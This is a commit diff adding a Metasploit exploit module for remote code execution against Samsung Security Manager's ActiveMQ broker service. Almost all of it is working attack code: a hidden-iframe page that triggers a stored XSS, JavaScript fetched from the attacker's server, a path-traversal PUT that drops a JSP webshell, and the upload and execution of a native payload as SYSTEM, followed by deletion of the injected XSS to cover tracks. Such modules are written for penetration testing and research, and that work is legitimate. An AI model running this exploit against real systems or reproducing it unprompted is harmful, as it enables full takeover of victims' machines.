Add Samsung Security Manager 1.5 ActiveMQ Broker exploit

Author: stevenseeley

modules/exploits/windows/browser/samsung_security_manager_put.rb

@@ -0,0 +1,230 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
+      'Description'    => %q{
+        This is an exploit against Samsung Security Manager that bypasses the patch in
+        CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
+        been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
+        bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
+        to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'mr_me <mr_me[at]offensive-security.com>', # vuln + module
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://metasploit.com' ]
+        ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # tested on 1.32, 1.4 & 1.5
+          [ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
+        ],
+      'DisclosureDate' => "Aug 05 2016",
+      'DefaultTarget'  => 0))
+      register_options(
+        [
+          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
+        ], self.class)
+  end
+
+  # this is because String.fromCharCode has a max of 65535 func args
+  # thanks to sinn3r for his help with the Array->String conversion
+  def encode_js(string)
+    i = 0
+    encoded_0 = []
+    encoded_1 = []
+    string.each_byte do |c|
+      if i > 65534
+        encoded_1 << c
+      else
+        encoded_0 << c
+      end
+      i += 1
+    end
+    if i > 65534
+      return encoded_0 * ",", encoded_1 * ","
+    else
+      return encoded_0 * ","
+    end
+  end
+
+  # tested on Firefox v46.0.1 (latest)
+  # tested on Chrome v50.0.2661.102 (latest release)
+  # tested on IE v11.0.9600.18314 (latest)
+  def on_request_uri(cli, request)
+
+    js_name  = rand_text_alpha(rand(10)+5) + '.js'
+
+    payload_url =  "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
+
+    # we deliver the JavaScript code that does the work for us
+    if (request.uri.match(/.js/))
+      return if ((p = regenerate_payload(cli)) == nil)
+
+      # dont exploit again otherwise we get a zillion shells
+      return if session_created? or @exploited
+
+      jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
+      exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+
+      # clean just the jsp, because the exe dropper will be in use
+      register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
+
+      # our jsp upload, ensuring native code execution
+      jsp = %Q|<%@ page import="java.io.*" %>
+      <%
+      ByteArrayOutputStream buf = new ByteArrayOutputStream();
+      BufferedReader reader = request.getReader();
+      int tmp;
+      while ((tmp = reader.read()) != -1) { buf.write(tmp); }
+      FileOutputStream fostream = new FileOutputStream("#{exe_name}");
+      buf.writeTo(fostream);
+      fostream.close();
+      Runtime.getRuntime().exec("#{exe_name}");
+      %>|
+
+      # encode the payloads
+      encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
+      encoded_jsp = encode_js(jsp)
+
+      # targets
+      jsp_uri    = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
+      upload_uri = "http://localhost:8161/admin/#{jsp_name}"
+
+      # this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
+      js_content = %Q|
+
+      function do_put(uri, file_data) {
+        var file_size = file_data.length;
+        var xhr = new XMLHttpRequest();
+        xhr.open("PUT", uri, true);
+        var body = file_data;
+        xhr.send(body);
+        return true;
+      }
+
+      function do_upload(uri, file_data) {
+        var file_size = file_data.length;
+        var xhr = new XMLHttpRequest();
+        xhr.open("POST", uri, true);
+        var body = file_data;
+
+        // latest ff doesnt have sendAsBinary(), so we redefine it
+        if(!xhr.sendAsBinary){
+          xhr.sendAsBinary = function(datastr) {
+            function byteValue(x) {
+              return x.charCodeAt(0) & 0xff;
+            }
+            var ords = Array.prototype.map.call(datastr, byteValue);
+            var ui8a = new Uint8Array(ords);
+            this.send(ui8a.buffer);
+          }
+        }
+        xhr.sendAsBinary(body);
+        return true;
+      }
+
+      function bye_bye_xss(uri){
+        var xhr = new XMLHttpRequest();
+        xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
+        xhr.send();
+      }
+
+      function clean_up(){
+        var xhr = new XMLHttpRequest();
+        xhr.onreadystatechange = function() {
+          if (xhr.readyState == XMLHttpRequest.DONE) {
+            var els = xhr.responseXML.getElementsByTagName("a");
+            for (var i = 0, l = els.length; i < l; i++) {
+              var el = els[i];
+              if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
+                bye_bye_xss(el.href);
+              }
+            }
+          }
+        }
+        xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
+        xhr.responseType = "document"; // so that we can parse the reponse as a document
+        xhr.send(null);
+      }
+
+      function exploit(){
+        do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
+        clean_up();
+      }
+
+      function start() {
+        do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
+        setTimeout(exploit(), 2000); // timing is important
+      }
+      start();
+      |
+
+      if datastore['OBFUSCATE']
+        js_content = ::Rex::Exploitation::JSObfu.new(js_content)
+        js_content.obfuscate
+      end
+
+    print_status("Sending javascript...")
+    @exploited = true
+    send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
+    return
+    end
+
+    if datastore['OBFUSCATE']
+       js_content = ::Rex::Exploitation::JSObfu.new(js_content)
+       js_content.obfuscate
+       onlick = ::Rex::Exploitation::JSObfu.new(onlick)
+       onlick.obfuscate
+    end
+
+    iframe_injection = ""
+    # done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
+    (1..20).step(1) do |n|
+      iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
+    end
+
+    # the stored XSS endpoint
+    target  = "http://localhost:8161/admin/browse.jsp?JMSDestination="
+
+    # we use XSS to execute JavaScript code in local context to avoid CORS
+    xss_injection =  "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
+    xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
+    target << Rex::Text.uri_encode(xss_injection)
+
+    # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
+    # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
+    html_content = %Q|
+    <html>
+    <body>
+    <iframe src="#{target}" width="0" height="0"></iframe>
+    #{iframe_injection}
+    </body>
+    </html>
+    |
+    print_status("Sending exploit...")
+    send_response_html(cli, html_content)
+    handler(cli)
+  end
+end
+